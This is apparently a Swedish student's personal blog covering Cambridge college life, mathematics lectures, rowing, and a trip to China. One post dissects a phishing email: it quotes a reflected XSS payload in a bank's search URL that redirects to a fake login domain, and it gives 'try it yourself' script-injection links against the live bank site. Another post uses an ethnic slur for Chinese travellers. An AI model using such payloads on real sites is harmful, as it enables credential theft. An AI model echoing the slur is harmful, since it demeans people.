pelli

Många anser att de blå sparkar på dem som redan ligger, och frågar sig:
Hur ska de arbetslösa överleva på så låga bidrag?
men idag läste jag om en arbetlös som frågade Mona Sahlin:
(ungefär) Hur ska höjda bidrag hjälpa mig att få jobb?

Här är en annan jämförelse:
I en diktatordiktatur klamrar sig diktatorn fast vid makten med våld, och använder makten till att göra det som är bäst för honom/henne (jämställdhet FTW!) själv.
I en enpartistat klamrar sig partiet fast vid makten med censur, och använder makten till att göra det de tycker är bäst för landet.
I en demokrati klamrar sig regeringen fast vid makten genom att lova och göra sånt som behagar väljarna men som på sikt är skadligt för landet.

Och en sista tankeställare:
En miljard bönder kan ha fel. Ska Kina verkligen bli demokratiskt?

Nyss hade jag MSN-videosamtal med mi scado när Ian knackade på. Medan han var här inne ringde mina föräldrar på Skype. När han gått lade jag på MSN-samtalet och ringde tillbaks till mina föräldrar och det första jag hörde när de svarade var den karakteristiska ringsignal som vår hemtelefon ger ifrån sig.

Igår missade jag för första gången en Hall-lunch/-middag (bortsett från när jag bakade bröd förra lördagen, vilket miscado har påpekat), eftersom min tutor bjöd på lunch i Private Supply Room. Idag åt jag dessutom Chef's Choice/Dish of the Day för första gången i Hall. Skillnaden mot standardvalen Main Course och Vegetarian Main Course är att Chef's Choice inte står på dagens meny eftersom det är rester från tidigare dagar. Gratängen, Chunky Ham & Mushroom Gnocchi with Cheese & Herb Crust, var lite saggigare än igår kväll, men å andra sidan var skinkan lite mörare.

För övrigt skedde ungefär 43 000 kvittoutskrifter i Hall förra terminen. Det innebär att en genomsnittlig student (undergrad eller grad) åt mindre än en måltid i Hall om dagen.

http://www.weebls-stuff.com/wab/clowns/

Jag gick till Sainsbury's idag. Bananerna kostar 78p/kg, dvs ca 10kr/kg, och är dessutom fairtrade. Så jag köpte 16 stycken för 20 kr.

Har ni förresten hört talas om Peter Popoff?
http://www.youtube.com/watch?v=IwfGRHINJUA
Här är en mycket sevärd modern version (det är samma video alltihop, de flesta funkar inte i Sverige):
http://www.youtube.com/watch?v=nPW2cfFkvFM <- störst chans att fungera
http://www.youtube.com/watch?v=LVDcIWXKxz0
http://www.youtube.com/watch?v=HBMyGfhMCYU
http://www.youtube.com/watch?v=oJIpK8xURBk
http://www.youtube.com/watch?v=6YpaybeK3c8
http://www.youtube.com/watch?v=dRq6GBZ3avs

Förklaring (till miscado som inte fattar kopplingen):
Peter Popoff brukade resa runt i USA och påstå sig vara i kontakt med gud. I utbyte mot inträdesbiljett fick man se honom slumpvis ta upp folk på scen och hela dem. Som bevis för att han verkligen var i kontakt med gud brukade han ropa ut namn på folk samt deras adresser och sjukdomar. Det visade sig dock att han egentligen fick den informationen från sin fru som i sin tur fått den direkt från den helade, antingen via en direkt fråga/intervju eller från de bönelappar publiken skrev. Publiken vill tro så hårt på Peter Popoff att de som blir "helade" helt ignorerar det faktum att de precis innan "konserten" givit ifrån sig just den information som Peter Popoff påstår sig ha fått från gud, och även efter detta avslöjande med hörsnäckan fanns det folk som trodde på att han både hade kontakt med gud och sin fru.

I musikvideon tar de det ett steg längre och påstår att den lilla flickan är gud, och de använder mer avancerad teknik för att få fram personlig information från publiken, men i slutändan är det samma grej: folk vill betala pengar för att få se gud och bli helade, och bluffmakarna roffar åt sig.

Idag på väg hem från CMS kom jag på bästa In Soviet Russia-skämtet:
In Soviet Russia, bomb disarms YOU!
Och enligt google har bara en person kommit på det innan mig! (Fast minst en till har funderat på disarm-punnen)

I eftermiddags kom Becky in på mitt rum och erbjöd mig att baka bröd hos komministern. Gratis middag? Jatack!

Så vid 18.00 masade oss Jag, Becky, Ian och Robyn ner till Bridge Street. Det visade sig att vi var de enda som var intresserade av denna lördagsaktivitet, men det var kul ändå.

Vi fick mjöl och diverse ingredienser till vårt förfogande och alla andra var förvånade över att jag inte brydde mig om vad mitt bröd skulle innehålla - bröd som bröd tänkte jag. I vilket fall blandade vi ihop var sin bunke mjöl, slängde i torkade vinbär och dylikt, och börja tillsätta vatten.

Jag vattnade min deg för glatta livet men de andra ansåg att brödet skulle bli bättre om man vattnade lite i taget. Huruvida deras bröd var bättre vet jag inte, men jag blev iallafall redo för nästa steg först: knådningen.

Knådningen ska pågå i 15 minuter, eller 10 om det är vitt mjöl. Efteråt var det dags för jäsning och tepaus, och sedan fortsatte vi med ännu en knådning innan bröden skulle in i ugnen.

Tjejerna var konservativa och lade sina bröd i långformar, men Ian gjorde en torusformad limpa och mitt bröd var förstås fiskformat. Efter en halvtimme i ugnen tog vi ut våra bröd och åt dem. Komministern bjöd på ost, vindruvor och portvin, fast det var colleget som betalade kalaset.

När vi kom hem med var sin halvlimpa stod Robster i köket, och han var mycket glad över att få smaka nybakat bröd av oss alla men inte lika glad över att han också hade en skål pasta med tomatsås tillagad. "För mycket kolhydrater - som att äta en pastasmörgås" sade han.

Förresten genomförde jag min första tvätt idag. Det tog hela 7 krediter eftersom jag körde de nya jeansen separat (tillsammans med okänsliga föremål såsom morgonrocken), och att torktumlaren inte riktigt ville torka kläderna ens efter 3 cykler.

Ashleigh (från sitt rum via korridoren): "HAHAHAHAHAHA!"
Jag (sticker ut huvudet från dörren): WHAAAAAAAAAT?
Ashleigh (sticker ut huvudet från sin dörr): "HERMIONE GRANGER IS COMING HERE TO TRINITY NEXT YEAR!!!!!!!!!!!!!!!"

Nu spekulerar hon och Chris över vad de skulle göra om de blev hennes collegeföräldrar..

EDIT:
källa 1: http://www.telegraph.co.uk/news/newstopics/mandrake/4317547/Emma-Watson-chooses-Cambridge-rather-than-America.html
källa 2: en vän till en vän till mig var på översyn med intagningsansvarige när dennes telefon ringde och en journalist frågade om påståendet var sant. Han svarade "ingen kommentar", men efter att han lagt på sade han "ja".

Ny Teknik skriver idag om Alan Turing och Ludwig Wittgenstein. Som bild till artikeln har de valt en teckning av de två framför Great Gate, Trinity: http://www.nyteknik.se/popular_teknik/kaianders/article495120.ece , ett motiv som jag kände igen direkt.

Jämför: http://flickr.com/photos/robobex/2167111418/ . Konstigt nog verkar flickr-fotografen ha trott at Trinity är King's, och så sent som igår fick jag höra att det finns turistguider som pekar mot Great Gate och uttalar djävulens namn (John's).

Prof. Gowers föreläste idag om axiomatisk sannolikhetslära. Ett av axiomen var att om två händelser inte överlappar, så är sannolikheten att någon av dem händer summan av deras två separata sannolikheter. Utifrån detta kan man dra slutsatsen att om man har n händelser som inte överlappar varandra, så är sannolikheten att någon av dem händer summan av de n separata sannolikheterna.

Däremot krävs ett eget axiom som säger att det också gäller när man har oändligt många händelser. Det finns nämligen många påståenden i matematikens värld som gäller för godtyckligt stora tal n men inte för oändligheten.

Kan ni komma på något?

Jag tänkte mig själv påståendet "det finns ett tal större än n", men Prof. Gowers hade ett änu enklare påstående: "n är ändligt".

För många (mer än 6) år sedan hörde jag en gång en poplåt på TV som innehöll texten "car crashes". Dagen efter frågade jag någon jag kände vad det kunde ha varit för något, men den person kunde bara tänka på "I'm driving one of your cars".

Nu vet jag iallafall att det jag hörde var "Carcrashes" av en duo som heter "Standfast". Anledningen till att de har hopskrivit låttiteln är att de är svenska, trots att ingen av de har ett särskilt svenskt namn.

Citat (ungefär): We say "a_n converges to l" if for all epsilon > 0, there exists N such that for all n > N, |a_n - l| < epsilon.
Think of it as a game between you and an adversary. No matter how he chooses the goalposts around l, you must be able to give an N such that all succeeding terms stay within those goalposts. If your enemy can find two goalposts such that infinitely many terms lie outside them, THEN YOU'VE LOST THE GAME.

Idag hade jag min andra utning för terminen, och vi tog ut en fyra eftersom två personer blivit oförmögna att dyka upp (två till fick då stå över, men en av dem blev mer glad än ledsen). Det var första gången jag rodde en riktig fyra och inte en osänkbar kustfyra. Den största skillnaden är att båten är ungefär hälften så bred, för att ge mindre friktion i utbyte mot lite obalans. "Coach" Gonzalo förmanade oss innan frånskjut att hålla hårt i våra århandtag, för såna fyror kan kapsejsa och det hade han sett med egna ögon.

Fast vi kapsejsade inte. Tvärtom var båten mer satt (balanserad) än under vissa mer erfarna roddare, enligt Gonzalo. I vilket fall rev jag återigen upp den skinnflik som hade vuxit tillbaka över jullovet så nu är jag osäker på när jag ska ro nästa gång igen.

Innan rodden åt jag fyra olika frukttyper på en kvart: en banan, ett päron, ett plommon och en clementin.

Förresten träffade jag Becky på Sainsbury's igår.

Jag: I'm going to buy fruit ^^.
Becky: I'm going to buy a potato.
Jag: _A_ potato?
Becky: Yes, a big one!

Igår kväll när jag och Ian kom ut ur Hall såg vi ett starkt ljussken bakom oss. Vi undrade om det var en stjärna eller en markbundenstrålkastare, men tänkte inte mer på det.

Idag såg vi ljuset igen, så vi tänkte att vi skulle ta reda på vad det var.

Först gick vi till andra änden av Great Court för att kunna ta ut en siktlinje att återskapa på Google Earth. Därmed fann vi att ljuset låg längs en linje från nordöstra hörnet ner till Hall-porten. Sedan kom vi på att vi kunde ta ut en till från en annan punkt, och se vart de möts.

Tillbaks på mitt rum med GE uppe såg vi att linjerna var så gott som parallella, vilket innebar att föremålet befann sig väldigt långt bort. Eftersom det stod ganska högt innebär det att det inte kunde vara något på marken. Vi råkade också se att föremålet syntes från mitt rum, så jag markerade en siktlinje genom rummet - ifall föremålet var utanför jorden borde linjen rotera 360 grader på 24 timmar.

Jag frågade folk runtom i världen om de också såg föremålet, men det var molnigt eller AFKigt överallt.

För att utesluta att det hade något med månen att göra ritade vi en skiss utifrån tiden på dygnet och månfasen (funnen på internet) och kom fram till att den var på andra sidan jorden.

En kvart efter första syftningen hade föremålet roterat märkbart, och även om vi inte mätte upp vinkeln drog vi slutsatsen att jorden roterade relativt föremålet, och att det inte kunde vara en satellit eftersom det varit på ungefär samma ställe två dagar i rad.

Frågan återstod nu om det var en stjärna eller en planet. Tyvärr kände vi inte till någon astronomisida, men Ian lyckades efter en stund med avancerad googling ("venus visible") hitta en amerikansk tidningskrönika från fyra dagar sedan som sade att venus kunde siktas hela tre timmar varje kväll just nu, vilket var mycket ovanligt. Om det är någon som känner till en websida med aktuella astronomiska händelser, säg till!

Jag har nu kommit fram till att astronomi är kul så länge man inte vet, och det varade ungefär en halvtimme.

Tillbaks till matten...

Jag har identifierat mitt tvättmaskinsmonster: det är mina byxor!

Idag hittade jag nämligen den udda strumpan från förra terminen (inte den första, som återfanns bakom fåtöljen,, utan den andra) i min ena byxficka. I tumultet i tvätt- eller torkmaskinen måste strumpan ha lyckats krypa in där och hålla sig kvar tills jag tog på mig byxorna idag.

Synd bara att jag tog hem den udda strumpan till Sverige innan jul och lämnade den där, så nu har jag återigen ett udda antal strumpor här.

Idag gjorde jag också mitt största fruktinköp någonsin:
10 plommon: £1.49
6 päron: £1.40
5 bananer: £0.63
16 clementiner: £1.98
Jag hoppas att dessa 5.5 GBP frukt varar mer än 4 dagar, men det är föga troligt.

Både corren och jnytt skriver om en 17-åring pojke som dött i en singelolycka av att ensam köra en bil in i ett träd.

Ingen av tidningarna har ens kommenterat över det faktum att det är ovanligt att 17-åringar kör bil ensamma. I ett sånt här läge är det snällt mot läsarna om man åtminstone tar upp att man inte vet.

Det var en blandning av folk från NM1, 2 och 4, men vi lyckades ganska bra ändå. Min kondition är dock markant sämre och mina händer gör ont igen.

När vi kom tillbaks från föreläsningarna var det ingen kö till matsalen. Det berodde självklart på att klockan var 1 och inte 12.

Jag åt osttortellini i svampsås.

För övrigt var det en demonstration på torget mot [sic!] Gaza. De körde standardramsan "1, 2, 3, 4, blahblahblahblah blahblahor, 5, 6, 7, 8, blahblahblahblah blahblahate", så jag undrade först om det var en protest eller en hejarklack, tills jag såg skyltarna.

Jag: Jag äter över 1 pund frukt per dag
Korridorkamrater: Valutan eller viktenheten?
Jag: Båda

Därmed är det optimala kilopriset just nu ca 27 kr/kg.

http://www.aftonbladet.se/nyheter/article4193624.ab

Enligt wikipedia har passagerarflygplan nödlandat på vatten 8 gånger i världshistorien, och varje gång har minst en person överlevt.
http://en.wikipedia.org/wiki/Tupolev_124_ditching_in_Neva_River (första stycket).

Postat av: Viktor

Wikipedia har redan en artikel om det: http://en.wikipedia.org/wiki/US_Airways_Flight_1549

Jag gissar att det var tur att de var så lågt och (antagligen) hade låg hastighet. Jag har hört att när plan störtar i vatten så brukar de trasas sönder av vattnet.

2009-01-16 @ 12:19:10

Svar: Jo, när plan störtar i vatten så är det inte mycket skillnad mot när de störtar på land. Nödlandningar vet man dock inte så mycket om, just för att det har skett så få.

Idag genomförde jag min första kontanttransaktion sedan jag kom hit: jag gav ett enpundsmynt till Ashleigh för en födelsedagspresent till Steve. Tidigare funderade jag också på hur jag skulle lösa det största problemet med att använda kort till allt: att man inte har en stadig tillströmning av mynt att använda i Twixautomaten i Cockroft. Hur ska jag klara av 4 timmars föreläsning i sträck utan Twix?

Förresten kom jag på en lösning nu: Ta ut £10 i mynt i samband med inköp på Sainsbury's.

Denna termin (Lent/fasta) har jag fyra kurser, men jag hade tänkt gå på lite mer föreläsningar, så at jag är förberedd inför framtiden, så detta blir mitt schema:
M.W.F. 9: IB Groups, Rings and Modules:
M.W.F. 10: IA Vector Valculus
M.W.F. 11: IA Analysis I
M.W. 12: IB Complex Methods
Tu.Th.S: 9: II Logic and Set Theory
Tu.Th.S. 11: IA Probability
Tu.Th.S. 12: IA Dynamics and Relativity

Egentligen bör man ta II-kurser nu eftersom det är dem man inte kommer kunna läsa alla av. Tyvärr går dock de på CMS, vilket är längre bort från IA (Cockroft) och IB (Mill Lane) än den akademiska dekaminuten. Därmed måste man ha en lucka runt dem, så egentligen fanns det bara två II-kurser att välja mellan: Mathematical Biology (urk) och Logic and Set Theory. Från IB fanns Groups Rings and Modules, Complex Methods och Statistics, men den sistnämnda fick vika för förflyttningsrasten från L&ST.

På roddfronten har jag tänkt mig max varannan dag måndag-lördag samt söndag. Då får jag gott om tid att plugga emellan också. För övrigt kom Becky in nyss och bad mig öppna en burk någonting, och jag lyckades. Kan det vara roddträningen som gjort verkan?

Den sista middagen jag intog i Kina var på andra våningen i vårt hotell. Maträtternas namn stod både på engelska och kinesiska, men många av dem hette samma sak, vilket var ungefär "asdfasdfasdf".

Vad betyder "Cheers" oftast?
1) Tack
2) Skål
3) Hurra
4) Hejdå
SVARA I EN KOMMENTAR! DU FÅR VARA ANONYM. LÄS INTE KOMMENTARERNA INNAN DU SVARAR.

































Förresten fick jag 72 poäng av 80 på mocken. Min uppskattning på 7.1/8 var alltså väldigt god.

Idag uppstod duschkö för första gången i denna årskurs historia till de fyra duschar som för närvarande servar de ca 20 personer som bor på denna våning: När jag kom ut ur mitt rum var Alex på väg in i den trasiga duschen, medan Becky kom ut från sitt rum några sekunder senare. När även Alex bekräftat att duschen var trasig gick vi alla tre till fyraduschkomplexet i Angel C. Där var två duschar redan upptagna, och Alex som var sist fick vänta (eller gå till en annan våning).

Förresten hade vi mock exams idag. Jag klarade förhoppningsvis 7.1 av 8 uppgifter på 2 timmar.

Till lunch åt jag aubergine-pizza med pommes och MYCKET majonnäs. Till kvällsmat blev det fläsk med grillade medelhavsgrönsaker och svamp.

(Timmtimmtimmulin är välbekant med denna typ av attack och jag har för mig att han har bloggat om den, men jag hittar inte det nu)

Idag fick jag ett spam-markerat mail till min Hermes som bland annat innehöll följande länk:

http://www.abbey.com/csgs/Satellite?pagename=Abbey/GSInformacion/GS_Buscar&searchOption=pula&texto=%22%2F%3E%3Cscript%3Ewindow.location%3D%22http%3A%2F%2Fmyonlineaccounts2.abbeynational.co.uk-bin1.info%2FCentralLogonWeb%22%3B%3C%2Fscript%3E%22

Detta är en klassisk JavaScript-injektion, fast med en liten knorr.

Länken går till en söksida på abbey.com, som är en banks hemsida, och skickar sökfrågan (inklusive citationstecken!)
"/><script>window.location="http://myonlineaccounts2.abbeynational.co.uk-bin1.info/CentralLogonWeb";</script>"

En äkta klassisk JS-injektion går till såhär:
Skicka sökfrågan (utan citationstecken) <script>alert('bajs!')</script> till servern. Den svarar då ungefär
"Du sökte efter <script>alert('bajs!')</script>", och browsern kör scriptet som säger bajs.

Denna banks söktjänst har dock värjt sig mot det, och escapear alla tecken så att skriptet inte körs. Då svarar servern istället "Du sökte efter &lt;script&gt;alert('bajs!')&lt;/script&gt;" och användaren ser "Du sökte efter <script>alert('bajs!')</script>".
Testa själv: http://www.abbey.com/csgs/Satellite?texto=<script>alert('bajs!')</script>&x=0&y=0&pagename=Abbey/GSInformacion/GS_Buscar

Däremot finns ett ställe längre ner där man kan söka igen. För att vara snälla har banken fyllt i ens senaste sökning, fast utan att escapea alla tecken. Det som brukar se ut ungefär:
<input value="Förra sökningen"/>
blir då, om man skickar (med citationstecken) "/><script>alert('bajs!')</script>":
<input value=""/><script>alert('bajs')</script>""/>
och bajs-skriptet körs (av någon anledning måste citationstecknen gå jämt ut :s ).
Testa själv: http://www.abbey.com/csgs/Satellite?texto="/><script>alert('bajs!')</script>"&x=0&y=0&pagename=Abbey/GSInformacion/GS_Buscar

Fast i det här fallet säger inte browser bajs utan öppnar en annan sida som ser ut som bankens vanliga inloggning. Skillnaden är att den ligger på en annan server och att allt man matar in där hamnar i klorna på bluffmakarna. Syftet med att använda den här omvägen är att få länken i mailet att se legitim ut, eftersom den faktiskt pekar till bankens egen sida.

Frågan är varför bankens servern tillåter sökningar med < och > överhuvudtaget. Sen att abbey.com är byggt på spanska, så att de flesta användare inte blir misstänksamma på "Buscar" (= "Sök", fråga inte varför jag kan det), gör inte saken bättre.

Just nu säljer Ryanair biljetter för totalt 2,50 kr/st. Det kan inte vara lönsamt. Hoppas de på att dra in pengar på väskavgiften?

I morse gick jag upp strax efter 6, och flygbussen gick 7.30. Jag anlände Skavsta 9.00 och 20 minuter senare, med 10 minuter till godo, lämnade jag fram mitt pass med en post-it-lapp i med bokningskod på vid incheckningsdisken. Passkontrollen gick snabbt och 9.30, med 10 minuter till godo, var jag vid gaten.

Ryanair stoltserar med att de har bästa punktligheten och bagagehanteringen bland de större europeiska företagen - tydligen råkar storleksordningen en promille ut för försenade plan eller försvunnet bagage.

Anledningen till det första är nog för att de satt sina tidtabeller med marginal. 10.10 skulle planet lyfta och 9.40 var sista boarding time, fast i verkligheten börjar de inte boarda förrän 10.00, och planet börjar rulla först 10.20. Detta är att jämföra med SJ, som skriver ut när tåget faktiskt ska rulla på biljetten, för att sedan kräva att passagerarna är på plats 30 sekunder i förväg för att dörrstängningen sker då.

Anledningen till det andra är nog att Ryanair (vad jag vet) inte säljer biljetter med byten. Det är lätt att hålla koll på att allt bagage är med när incheckningen sker 40 minuter innan avsatt avfärdstid, fast ytterligare 10 minuter innan planet egentligen avåker; i luften kan bagaget inte försvinna; och när planet är framme lastar man allt och slänger på bagagebandet - det svåra är att se till att bagaget från ett flyg kommer med ett annat, även när det föregående flyget är försenat, alternativt att bagaget inte kommer med, ifall flyget är så sent att människorna inte heller kom med. Detta problemet slipper Ryanair.

I luften märkte jag att det såg ut som föremålen på marken hade vita skuggor. Kom ihåg det nästa gång ni tappar bort er på landet på vintern - det är mest snö norr om saker.

Så planet landade omkring 11.10 (brittisk tid, GMT+0), när det egentligen skulle ankomma 11.25. Som nästnästsiste person klev jag av planet vid 11.25. 10 minuters promenad senare var jag vid UK BORDER, och där fick jag veta att mitt pass hade ett mikrochip, så jag kunde gå igenom self-service-gränskontrollen. Jag lade huvudsidan på en skanner, tittade in i en kamera, och sen öppnade sig dörrarna och jag var inne.

Trots att jag var en av de sista ut från planet anlände jag bagagebandet en minut innan bagaget kom. Därmed har jag bevis, svart på vitt, att det inte finns nån poäng att skynda sig ut ur planet om man har incheckat bagage, såvida man inte vill gå på toa förstås.

11.40 ringlade sig kön vid National Express disk lång, fast det var tydligen bara för dem som skulle köpa tågbiljetter. Jag som skulle med buss fick service direkt. Notera att det här var disken inuti flygplatsbyggnaden, det finns också ett bås vid bussarna där det inte heller brukar vara någon kö.

Sedan satt jag och väntade 20 minuter på en bänk utomhus, och så hittade jag en väntsal och väntade resterande 20 minuter inomhus.

Bussresan var extremt vibrerande, så länge motorn jobbade. Det var samma sak förra gången. Jag undrar om det berodde på att det var samma buss, eller bara att det var samma modell (National Express standardbussmodell).

13.10 skulle vi ha anlänt Parkside, men vi blev 10 minuter försenade för att det var trafikstockning i stan.

Nu är jag iallafall uppackad på rummet, och jag har hämtat mina saker hos Matt och vart och handlat på Sainsbury's. Dags för middag i Hall.

Förresten håller folk här ibland hårt på att det heter att komma upp till Cambridge, och att åka ner härifrån. Förra terminen berättade en kille för mig att han hade åkt ner i dubbel bemärkelse för en dag (fundera på det ni!).

Peking/Beijing är Kinas nuvarande huvudstad.
Beijing (norra huvudstaden) har under historiens gång regelbundet hetat Beiping (norra freden), främst under de tider då den inte har varit huvudstad.
En annan stad som brukar kallas för Peking är Norrköping, som brukar transkriberas till Beixueping, där bei betyder norr och xueping låter som köping.

Är det en ren slump, att dessa två städer råkar heta ungefär samma sak, på två sätt?
Eller innebär det att Norrköping snart kommer bli huvudstaden i ett nytt kommunistsverige efter nästa val?

I vilket fall åker jag till Cambridge imorgon.

Det är väldigt troligt att följande föremål uppfanns i följande ordning:
1. Pappersflygplan
2. Flygplan

Så då är frågan: när uppstod ordet "flygplan" (eller motsvarande i andra språk)?
Hette pappersflygplan något annat tidigare, för att sedan gradvis byta namn när riktiga flygplan uppfanns och namngavs?
Hette pappersflygplan pappersflygplan från början, för att sedan smitta av sitt namn på riktiga flygplan?

Nu är jag ankommen.

Flygplatsfail: (På manöverpanelen till en gate) "Deposit forbidden. PlS donot touch"

Längsta stadsnamnet hittills: ke li si ti an si ta de (Kristianstad). Vore jag översättare hade den hetat "ke li huan shi".

China Southern har tydligen personliga tv-skärmar bakom alla stolar. Problemet är bara att om man är 175cm lång och sitter propert går det inte att vinkla skärmen så att man ser rätt färger. Än värre blir det när personen framför fäller bak ryggstödet.

Nedanför skärmarna finns fällbordet, och varningstexten på det är i princip omöjlig att läsa för att man ser den från så sned vinkel.

Planet vi skulle flyga med från Schiphol gick sönder, men de lagade det så vi slapp övernatta.

Nu är det dags att åka hem till Sverige. Vi landar på Linköpings Flygplats 22.40. Urk, 20 timmar kvar...

Den här bilden förtjänar ett eget inlägg:

[bild på extremt stor skylt av megaöversättningsfail] Transkription:
CHINA YUN BROCADE IS
CHINA IS THE GORGEOUSES
-TPRINCELY BROCADE, A SEC
-TIOR PREVIOUS DYNASTIES
BALDACHIN'S CRAFT ART
ZHL DACHENG, BECAUSE BE
-AUSBELIKE IN THE SKY DE
ROSY CLOUDS BUT "YUNB
-ROCADE"ZHI GIVEN NAME,
BE SPECIAL FOR PAJACE
NABYFACTYRE UNOEBAKRI
-BE VESTMENT,CURTAIN,
BALDACHIN'S WAITFOR PAL
-ACE DRIVE APPLIANCE DE
FABRICATE WORKSHOP."
DNVE BROCADE SPIN" YOU
BROCADE DE MANUFACTU
-RE CHIEF ADOPT TRADITI
-ON'S FLOWER'S A THREAD
OFLOOM'S HANDWORK'S
FABRICADE, BY TWO PEOPLE
COOPERATIONS OPERATION,
A PEOPLE CARR TURN LINES
SAMPLE SPEND THIS,A PEO
-PLE DISH OF SHUTTLE
ZHUANG COLORFUL MAN
-UFACTURE, A DAY
OUTPUT NOTHING, BUT
SEVERAL CENTIMETER, AT
FABRICATE HUGE A MOUNT
OF USE GOLD THREAD IN
PROCESS SILVER WIRE, AND
MARCH AS COLORFULSI'S
WOOL RARE VALUABLE B
-ROCADELINE IN WEAVE
BUT BECOME MAKE ZHI
SUMPTUOUS, BRILLIANT,ENS
INCH BROCADE INCH GOLD
DE GOOD REPUTATION.
 
Detta är mycket värre än en maskinöversättning kan åstadkomma. Översättare verkar inte ha förstått att de flesta översättningarna i en ordbok inte är raka översättningar, utan förklaringar, och har helt enkelt översatt varje tecken med allt som står under det i ordboken. Något felöversättare aldrig har ägnat tanken åt heller är att översätta tillbaka med samma teknik och se ifall det blir ens förståeligt. Något annat kineser är dåliga på är att skriva av bokstäver korrekt. En uppskattning är att ungefär hälften av alla skyltar med engelska som inte är vägskyltar har någon sorts simpelt avskrivningsfel.

För övrigt hörde jag en mycket intressant låt i butiken med denna skylt, nämligen God is a girl [http://www.youtube.com/watch?v=n--UkqEC5co]. För övrigt övrigt såg jag på youtube att Poison [http://www.youtube.com/watch?v=S25BzWX-MDM] var gjord av samma artist, och det lät extremt rimligt.

En annan språkfail jag såg men inte han fotografera eftersom k810i är så seg på autofokus (och alternativet - att bara köra på infinity innebär att fotot tas direkt när man trycker = suddig bild!):
"To meet" (xiao3 xin1 peng4 tou2 - se upp så du inte slår i huvudet).
Antagligen har översättaren bara lyckats få med översättningen av peng4: to touch / to meet with / to bump.

En fail vi har här på hotellet är:
"Lead to revolve a door the child needs to have adult to accompany"

Här får ni en fotologg utan bilder

[bild på flygplan ur ett flygplansfönster] Första gången jag ser ett flygplan på riktigt nära håll i flykt.

[bild på lampa med solcell utanför vattenkuben] Trevligt att kineserna är måna om att verka vara måna om miljön. Hoppas solcellen inte är direktverkande. För övrigt har jag lärt mig på denna resa att batteri heter elektricitetpool på kinesiska. Jävla språk där man kan veta i 15 år hur ett ord uttalas utan att ha någon aning om vad det betyder förrän man läser det.

[bild på mammas rygg och en drös kravallstaket och biljettbås] Visste ni att biljetterna till vattenkuben säljs i ett annat kvarter, i motsatt hörn till ingången?

[bild på mamma och en bassäng full med fontänmunstycken] Visste ni att vattenkuben ska användas för andra evenemang än simning nu efter OS?

[bild på mig när jag fotograferar fyra tygrenar, en kines i röd uniform och ett par kinesgamlingar] Visste ni att fågelboet just nu innehåller en bautastor julgran samt diverse annat juligt?

[bild på trafikkamerastolpe med solceller på] Undrar om strömmen räcker till dygnet runt-drift?

[bild på två polisbilar, varav den ena har två megalampor och en pod med två kameror (antagligen den ena IR) ovanpå den konventionella ljusrampen] Bonusbild till erinil!

[bild på fyra metalldetektorer] Man blir säkerhetskontrollerad överallt, men kontrollen är en fars.

[bild på Wiener Philharmoniker] "Filharmoniker" översätts till "ai4 yue4 yue4 tuan2" - musikälskarorkester. En cellist håller snäckan framför ansiktet och ljuset speglas i den så det ser ut som han har kanintänder - hihi.

[bild på grillad anka-restaurang] Första gången mamma åt här kostade en halv grillad anka 20 spänn (5 dagslöner). Nu kostar den 114 + 10% serviceavgift - avsevärt mindre.

[bild på en drös rulltrappor] Det är läskigt att åka rulltrappa från 4e till 5e våningen när det inte finns något under. Att balustraden bara är midjehög längst upp gör inte svindeln bättre.

[bild på operasalen] Visste ni att Royal Academy of Ballet varit och godkänt kinesernas operagolv? Visste ni att golvet kan lutas 5.6 grader så att även de bakersta dansarna syns?

[bild på DONGAN DEPARTMENT STORE] Ni som haft hemspråk med mig vet vad jag menar!

[bild på expressrulltrappor] WOW! Den spänner över TVÅ VÅNINGAR!

[bild på LUKFOOK JEWELLERY] Får mig att tänka på "are you harboring a fugitive? - Hu yu hai ding?", fast "Stupid man - Dum fuk".

Jag hade skrivit ett långt inlägg, och sen såg jag att "tre gåtor" hade försvunnit, så jag backade i browsern och återfann det, och sedan klickade jag på publicera. Då skrev det över mitt nya inlägg, och samtidigt kunde jag inte längre forwarda i browsern för att återskapa det. (Det är ungefär som när man Ctrl+Z:ar och sedan skriver något, och så ångrar man att man ångrade, men då är allt man ångrade att man ångrade att man skrev borta.)

Sammanfattning:
Igår jobbade min mamma och jag var ensam på hotellet. Jag åt lunch ensam för första gången någonsin i kina. Det blev udon-nudlar (ringmasknudlar enligt miscado).

Idag var vi varit och sett på vattenkuben, fågelbot och ägget.

From real life:

1) En hiss anländer och du kliver in. Det står redan två personer i den, men ingen våningsknapp är tryckt. Förklara!

2) På badrumsgolvet sitter en liten cylinder monterad. Den är placerad horisontellt men sitter diagonalt mot kakelrutnätet. I cylinderns ena ände sitter en knapp. Du trycker på den, och den fjädrar in och tillbaka, men inget händer. Förklara!

3) Ploppen är i i handfatet. Den går inte att pilla upp, och det finns inga spakar att dra i runt om. Du tittar under det, men hittar bara jordningssladdar. Hur släpper du ut vattnet?

Nu är jag i Peking (Peiching enligt Wade-Giles enligt wikipedia).

I morse åt jag gås och dumplingar.

På Swatows flygplats hamnade jag på en toalett med den lägsta urinoar jag sett - överkanten var strax UNDER avfyringshöjd, if you catch my drift. Bredvid fanns också en hål-i-golvet-toa, den tredje jag sett på min resa hit.

Den andra hål-i-golvet-toan jag såg fanns på tornberget. Där spelade jag förresten pingis för första gången på extremt länge. Min forehand fungerar inte alls - alla bollar går långt utanför - men backhanden är fortfarande i toppklass. Slutsatsen är att jag har växt märkbart sen senast, eftersom forehandhöjden växer med kroppen, medan backhandhöjden bestäms av referenshanden som placeras på bordet.

Efter en något händelselös flygning landade vi på huvudstadsflygplatsen i Peking. Den exakta formuleringen är som lyder "During the landing and exiting, do not open the overhead bins".

För övrigt stannade vi en stund på taxibanan, antagligen för att släppa förbi ett annat plan. Då ställde sig nästan varenda kinesjävel (ja, det ordet får användas när man talar om idioter) i planet upp, till och med min mamma, och började fippla med sina väskor. De visste inte om planet var framme eller inte, men istället för att tänka:
"Låt oss vara på den säkra sidan och sitta kvar tills bältesskylten släckts, så vi inte råkar slå ihjäl någon med våra väskor"
tänkte kineserna:
"Låt oss vara på den säkra sidan och förbereda oss för avstigning genast, så vi inte blir senare ut än nödvändigt från planet [trots att alla ändå måste vänta vid bagagebandet]."
Sen började planet rulla igen med mittgången var fullproppad av idioter och bagage.

Nu är vi på något hotell där bredband kostar 30 spänn om dagen. På vägen hit såg jag en ripoff på IKEA (yi2 jia1): AIKA (ai4 jia1).

Med Teoswa (eg. Chao2Shan4, ingen förutom jag och 38 andra skriver Teoswa) menas det område i Kina där Swatow, Jieyang och Teochew ligger.

Området är ungefär lika stort som Östergötland, men har 30 gånger så många invånare, dvs 13 miljoner. Språket som talas här kallas teoswa- eller teochew-dialekt och talas endast här (samt i vissa vietnamesiska städer dit folk utvandrat härifrån).

